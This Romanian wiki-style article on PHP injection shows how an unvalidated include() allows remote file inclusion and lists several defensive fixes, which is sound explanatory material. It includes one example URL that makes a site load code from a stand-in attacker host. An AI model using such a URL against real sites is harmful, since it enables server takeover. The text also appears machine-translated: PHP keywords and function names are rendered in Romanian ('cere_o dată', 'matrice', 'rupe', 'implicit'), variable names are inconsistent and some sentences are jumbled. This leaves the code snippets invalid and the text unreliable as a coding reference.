Injecție PHP
Versiunea actuală a paginii nu a fost încă examinată de colaboratori experimentați și poate diferi semnificativ de
versiunea revizuită la 1 decembrie 2020; verificările necesită
2 modificări .
PHP injection ( ing. PHP injection ) este una dintre modalitățile de a pirata site-urile care rulează pe PHP , care constă în executarea de cod străin pe partea serverului. Funcțiile potențial periculoase sunt:
- eval(),
- preg_replace() (cu modificatorul „e”),
- cere_o dată(),
- include_once(),
- include(),
- cere(),
- create_function().
Injecția PHP devine posibilă dacă parametrii de intrare sunt acceptați și utilizați fără validare.
Exemplu
<?
...
$modul = $_GET [ 'modul' ];
include ( $modul . '.php' );
...
?>
Acest script este vulnerabil, deoarece „.php” este pur și simplu adăugat la conținutul variabilei , iar fișierul$module .php este inclus în calea primită .
Un atacator poate crea un fișier care conține cod PHP ( http://hackersite.com/inc.php) pe site-ul său, iar vizitând site-ul printr-un link, pare că ar
http://mysite.com/index.php?module=http://hackersite.com/inc
executa orice comenzi PHP.
Modalități de a proteja
Există mai multe modalități de a vă proteja împotriva unui astfel de atac:
- Verificați dacă o variabilă conține $modulecaractere străine:
<?
...
$modul = $_GET [ 'modul' ];
if ( strpbrk ( $modul , '.?/:' )) die ( 'Blocat' );
include $module . '.php' ;
...
?>
- Verificați dacă $moduleuna dintre valorile permise este atribuită:
<?
...
$modul = $_GET [ 'modul' ];
$arr = matrice ( 'principal' , 'despre' , 'linkuri' , 'forum' );
if ( ! in_array ( $modul , $arr )) $modul = $arr [ 0 ];
include $module . '.php' ;
...
?>
Această metodă este mai eficientă, mai frumoasă și mai îngrijită.
- Scrieți fiecare valoare prin if
<?
...
$modul = $_GET [ 'modul' ];
if ( $modul == 'principal' ) include 'main.php' ;
if ( $modul == 'despre' ) include 'despre.php' ;
if ( $modul == 'linkuri' ) include 'links.php' ;
if ( $modul == 'forum' ) include 'forum.php' ;
...
?>
- Utilizați declarația switch:
<?
...
$modul = $_GET [ 'modul' ];
switch ( $modul ){
case 'despre' :
case 'linkuri' :
case 'forum' :
include " { $modul } .php" ; rupe ;
implicit : include 'main.php' ;
}
...
?>
Această soluție este similară cu soluția if, dar are o notație mai compactă.
PHP oferă, de asemenea, posibilitatea de a dezactiva utilizarea fișierelor de la distanță, aceasta fiind implementată prin schimbarea valorii opțiunii allow_url_fopen la Off în fișierul de configurare a serverului php.ini.
Vulnerabilitatea descrisă reprezintă un pericol mare pentru site și autorii scripturilor PHP nu ar trebui să uite de ea.
Vezi și
Link -uri